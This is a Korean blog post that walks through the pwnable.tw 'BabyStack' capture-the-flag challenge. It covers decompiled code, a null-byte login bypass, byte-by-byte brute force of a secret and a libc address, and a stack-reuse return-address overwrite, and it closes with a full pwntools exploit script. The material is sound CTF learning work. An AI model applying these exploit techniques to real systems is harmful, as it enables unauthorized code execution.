Recent Posts
Recent Comments
Link
«   2025/05   »
1 2 3
4 5 6 7 8 9 10
11 12 13 14 15 16 17
18 19 20 21 22 23 24
25 26 27 28 29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

CIDY

[Pwnable.tw] BabyStack 문제풀이 본문

Hack/Pwnable

[Pwnable.tw] BabyStack 문제풀이

CIDY 2022. 12. 24. 01:07

mitigation

오랜만에 학기중에(포스팅을 올리는 시기는 종강 이후다.) 여유가 좀 생겨서 과제가 아닌 포너블을 잡았다. 단기적으로 pwnable.tw문제를 모두 솔브하는 것을 목표로 잡고 있는데, 무난하게 250pt짜리문제를 데려왔다. (사실 pwnable.tw문제 pt가 난도와 완전 비례한다고 생각하지는 않는다. 대표적인 예가 하루종일 머리를 싸매게 만든 calc...)

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  _QWORD *v3; // rcx
  __int64 v4; // rdx
  char v6[64]; // [rsp+0h] [rbp-60h] BYREF
  __int64 buf[2]; // [rsp+40h] [rbp-20h] BYREF
  char v8[16]; // [rsp+50h] [rbp-10h] BYREF

  sub_D30(a1, a2, a3);
  unk_202018 = open("/dev/urandom", 0);
  read(unk_202018, buf, 0x10uLL);
  v3 = qword_202020;
  v4 = buf[1];
  *(_QWORD *)qword_202020 = buf[0];
  v3[1] = v4;
  close(unk_202018);
  do
  {
    while ( 1 )
    {
      write(1, ">> ", 3uLL);
      _read_chk(0LL, v8, 16LL, 16LL);
      if ( v8[0] == 50 )
        break;
      if ( v8[0] == 51 )
      {
        if ( unk_202014 )
          sub_E76(v6);
        else
LABEL_15:
          puts("Invalid choice");
      }
      else
      {
        if ( v8[0] != 49 )
          goto LABEL_15;
        if ( unk_202014 )
          unk_202014 = 0;
        else
          sub_DEF(buf);
      }
    }
    if ( !unk_202014 )
      exit(0);
  }
  while ( memcmp(buf, qword_202020, 0x10uLL) );
  return 0LL;
}

main함수는 위와 같다.

왠지는 모르겠지만 당연히 initialize인줄 알았던 sub함수에서 mmap을 수행하고 있다. 🤔

(→나중에 보니 그냥 memcmp할려고 만들어둔 거다.)

랜덤값이 든 파일을 오픈해서 buf에 0x10만큼 데려왔다. 여기서 buf는 long짜리 두개 붙여놓은 배열이다.

그리고 v3에 0x202020주고, v4에 buf[1]값을 준다. (long)

그리고 mmap주소가 담겨있을 0x202020에 buf[0]값을 준다. 그래서 v3에 따로 저장해둔건가 보다.

v3[1], 즉 할당 + 8위치에 v4값을 넣는다.

그리고 랜덤값 파일 스트림을 닫는다.

그 다음은 do-while문이다. v8에 0x10만큼 입력을 받고 있다. 그리고 v8[0] (v8은 char형 배열이다.)값을 기준으로 if-else문을 수행한다.

문자 기준으로 2면 break.

3이면 0x202014값을 기준으로 sub함수를 하나 수행한다.

그 sub함수는 이렇게 생겼다.

src내부에 63만큼 값을 read하고, 그걸 다시 main의 v6[64]로 strcpy한다.

만약 0x202014의 값이 없다면, Invalid하다고 한다.

 

그리고 마지막으로 1일 경우, 0x202014값이 존재한다면 0으로 바꾸고, 없다면 sub함수 하나를 수행한다.

이런 함수인데, s에 최대 127만큼 읽어들이고, v1에는 그 길이를 저장한다. 그리고 s와 a1(buf)값을 비교하는데, 이게 동일해야 0x202014가 1이 되고, 로그인 상태가 된다.

 

while문 밖으로 나왔을 때 0x202014값이 0이라면 exit하고, (처음에 1번 메뉴로 로그인을 해야 할 듯 하다.) while문의 조건은 memcmp이다. 반환값을 생각하면, 0x202020과 buf값이 0x10만큼 비교했을 때 완전히 동일하지 않는 한 while문은 지속된다.

코드는 대충 여기까지다.

일단 생각을 해 보면, 굳이 do-while문 내부에 return대신 exit를 넣어둔 것도 그렇고, 0x202020과 buf가 같아야 return할 수 있는 것도 그렇고, 아무래도 return을 이용해야 한다는 의도 같은데.. 그럼 rop쪽으로 생각해볼 수 있을 것 같다.

 

우선 exit당하지 않으려면 로그인을 먼저 해야 한다.

이게 로그인 함수인데, 뭐 buf에 든 값은 /dev/urandom으로 완전 랜덤한 값인데 내가 그걸 어떻게 맞추겠나…

다만 strlen이 널바이트 직전까지의 길이를 잰다는 것을 이용해서, read할 때 \x00을 바로 넣어버리면 strncmp(s, a1, 0); 이 되어 그냥 1을 반환하도록 할 수 있다.

일단 계속 메뉴들을 돌 수 있도록 로그인은 했는데, 익스 방향이 문제다. 앞서 말했듯이 아무래도 rop를 해야 할 것 같은데… 😐

일단 활용 가능한 변수들에 뭐가 들어있는지부터 알아보자.

buf[0], buf[1]에는 랜덤값 들어있고.

v3에는 아까 mmap했던 주소가 들어있고, 그 청크 + 8 위치에는 buf[1] 들어있고,

v4에도 buf[1]들어있고,

0x202020에는 buf[0]들어있고,

(3번 메뉴 수행 시) v6[64]에는 내 입력값 63개 들어갈거고..

흠.. 그런데 아무래도 3번 메뉴에 magic copy라고 적혀있는 부분이 조금 수상하다.

 

다시 3번 메뉴 함수의 코드를 보니 src를 memset하는 과정이 없다. 아무래도 여기서 libc leak의 각이 보인다.

 

0x0101010101010101 가 내 입력인데, 그 아래 옆에 stdout의 주소가 보인다. strcpy는 NULL만나기 전까지 복사하니까 NULL이 아닌 바이트를 0x18개 넣어주면 stdout주소를 v6으로 copy해올 수 있을 것 같다.

 

아니면 이렇게 63개 풀로 넣어서 stdout을 buf[0]에 넣어버릴 수도 있을 것 같다.

근데 buf값이 망가지면 do-while문이 종료되기는 한다…

 

아 참고로 앞에서 할당했던 mmap은 여기 들어있다.

일단 뭐가됐든 익스하려면 libc leak이 우선이다. 출력함수가 딱히 보이지 않는데 어떻게 leak을 수행할 수 있을까?

 

흠 그리고 한 가지 의문점이, 분명 checksec 했을때는 full mitigation이었는데, 스택을 까보니 카나리가 없다. 🙄

 

하 아무리 봐도 릭할 구석이 없다. 그래서 고민 끝에 브포를 하기로 했다.

앞서 로그인 함수에서 strncmp의 v1을 내가 조정할 수 있기 때문에 한 자리씩 늘려가며 브포가 가능하다.

아까 buf[0]에 stdout주소를 데려온 상태이기 때문에 조금만 브루트포싱하면 될 것 같다.

 

숫자 → 바이트로 변환할 때에는 위와 같이 대괄호를 잊지 말아야 한다는 점을 리마인드하며 브포 코드를 짜 보자.

 

위처럼 하면 금방 libc leak이 가능하다.

이처럼 buf[0]과 buf[1]에 든 값은 간단한 브포만 통하면 사실상 출력할 수 있는 값이라고 보면 될듯하다. (물론 랜덤값도.)

그럼 libc를 릭했으니 이제 최종 익스 방향을 생각해봐야 한다. 앞서 말했듯 rop의 각이 오는게 ret주소를 원가젯으로 덮을 수 있으면 좋을 것 같은데…

굳이 원가젯이 아니더라도 일단 ret쪽을 덮어야 한다. 어떻게 덮지…

한 가지 아이디어를 떠올린 게.. 바로 스택의 재활용이다. 이전에 스택이 재활용되어 의도치 않은 상황이 발생하고, 그것으로부터 익스한 경험이 몇번 있다.

위는 login함수를 호출했을 때 쌓이는 스택이다. rbp-0x80부터 1개를 뺀 0x7f개 입력을 받는다.

 

그리고 이건 copy함수를 호출했을 때 쌓이는 스택이다. 동일한 크기의 버퍼가 동일한 위치에 있는 것을 볼 수 있다.

다만 copy함수에서는 main의 64크기짜리로 복사해야 하기 때문에 63개밖에 입력받지 않아 main의 64크기짜리를 넘겨 ret주소까지 침범하기 힘들었지만, login함수 호출 → copy함수 호출 순으로 스택을 재활용시킨 다음 copy시키면 ret주소를 덮을 수 있을 것 같다.

 

그럼 rop시나리오는 짰으니 세세한 조건들을 챙겨보자.

exit당하지 않으려면 로그인 상태에서(0x202014 == 1) buf에 랜덤값을 담아야 한다.

랜덤값 부분도 입력을 해야 ret까지 덮을 수 있기 때문에, 랜덤값도 알아내야 한다.

libc leak을 하는 과정 이전에 랜덤값을 알아내는 브포 과정도 추가해줘야 할 듯 하다.

음… 해당 아이디어를 성공시키기는 했는데 먹히는 원가젯이 하나도 없다. 아니 20.04면 무난하게 될 만 한데…🤨역시 요행을 바라면 안 된다. system을 써서 제대로 rop를 짜 보자.

pop rdi가젯을 쓰려면 코드 영역의 주소도 leak할 필요가 있다. (pie가 걸려있음.)

하지만 POX예선 때 배운 바에 의하면 libc파일에는 없는 가젯이 없다고… libc leak을 했으니 libc내부에서 가젯을 찾아보자.

아 근데ㅋㅋ생각해보니 pop_rdi → binsh_str → ret → system..이런 식으로 쓰면 널바이트 때문에 무조건 복사가 잘린다.

그럼 아무래도 역시 원가젯이 답이다. 로컬에선 안 됐지만 서버에서는 될 수도 있으니까 한번 해보자.

하..역시 remote브포는 너무 느리다.

? 뭔가 잘못됐다. 생각해보니 remote의 stdout 끝 자리가 6a0이라는 보장은 없다.

하…그거 바꿔줘도 브포가 잘 안돼서 libc파일 적용해서 디버깅 해보니까 \x01의 63개 뒤쪽이 널바이트다. 그리고 널바이트가 없다해도 그 다음값이 libc값이 아니다.

login함수를 이용해 libc영역 값에 닿을 수 있도록 스택에 값을 채워줘야겠다. 브포 과정에서 빠르게 break하고 넘어갈 수 있도록 \x01바이트로 값을 채웠다. (사실 leak값을 미리 줘서 브포 없이 가도 되긴 한데, 코드를 수정하기가 좀 귀찮았고, 이것때문에 늘어난 브포 시간은 진짜 적을것이기 때문에…)

 

 

from pwn import *

p = remote("chall.pwnable.tw", 10205)
#p = process('./babystack',env={'LD_PRELOAD':'./libc_64.so.6'})
e = ELF("./babystack")
libc = ELF("./libc_64.so.6")

#login using NULL bytes
p.sendlineafter(b">>", b"1")
p.sendafter(b"Your passowrd :", b"\x00")

#brute forcing for reveal random value
random_value = b""
for i in range(0x10):
    #logout for new login
    p.sendlineafter(b">>", b"1")
    print(random_value)
    for j in range(0x1, 0x100):
        p.sendlineafter(b">>", b"1")
        random_value += bytes([j])
        p.sendafter(b"Your passowrd :", random_value + b"\x00")
        if(b"Login Success !" in p.recvline()):
            break
        else:
            random_value = random_value[:-1]

#logout
p.sendlineafter(b">>", b"1")

#login
p.sendlineafter(b">>", b"1")
p.sendafter(b"Your passowrd :", b"\x00" + b"\x01" * 71)

#move stdout addr to buf[0]
p.sendlineafter(b">>", b"3")
p.sendafter(b"Copy :", b"\x01" * 63)

#brute forcing for libc leak
leak = b""
for i in range(13):
    #logout for new login
    p.sendlineafter(b">>", b"1") 
    print(leak)
    for j in range(0x1, 0x100):    
        p.sendlineafter(b">>", b"1")
        leak += bytes([j])
        p.sendafter(b"Your passowrd :", leak + b"\x00")
        if(b"Login Success !" in p.recvline()):
            break
        else:
            leak = leak[:-1]
leak = leak[8:]
leak += b"\x7f"
leak = u64(leak.ljust(8, b"\x00"))
libc.address = leak - 0x78439
print(hex(libc.address))

one_gadget = [0x45216, 0x4526a, 0xef6c4, 0xf0567]
oneshot = libc.address + one_gadget[0]

#logout for new login
p.sendlineafter(b">>", b"1")

#make payload for ROP
payload = b""
payload += b"A" * 0x40
payload += random_value
payload += b"A" * 0x10
payload += b"A" * 0x8
payload += p64(oneshot)

#inject payload to stack
p.sendlineafter(b">>", b"1") 
p.sendafter(b"Your passowrd :", payload)

#login for copy
p.sendlineafter(b">>", b"1")
p.sendafter(b"Your passowrd :", b"\x00")

#copy for ROP
p.sendlineafter(b">>", b"3")
p.sendafter(b"Copy :", b"A")

#break for return
p.sendlineafter(b">>", b"2")

p.interactive()

전체 익스코드는 위와 같다.

 

flag

 

후기: 취약점이 분명해서 해결하는데 그리 오래걸리지는 않았다. 다만 브포를 하기로 결심하기까지 시간이 좀 걸린듯… 스택 재활용 가능성을 신경쓸 것과 memset의 중요성에 대해 다시금 느끼고 간다. 최근에 heap문제만 계속 보다가 오랜만에 다른 장르(?) 문제를 보니 신선하고 재미있었다. 그리고 process에 LD_PRELOAD로 libc적용하는거 이때까지 항상 안 됐었는데 이번에 처음 됨… (WSL 18.04는 안되고 20.04가 되는듯?)이걸로 디버깅하니까 새삼 편하다는 걸 느꼈다.

'Hack > Pwnable' 카테고리의 다른 글

[Pwnable.tw] start(Write-up)  (0) 2022.12.31
참고할 것들(링크)  (0) 2022.12.26
[Pwnable.tw] 문제풀이(CAOV)  (0) 2022.10.13
[Pwnable.kr] 문제풀이(unexploitable)  (0) 2022.08.15
[Pwnable.kr] 문제풀이(collision)  (0) 2022.08.12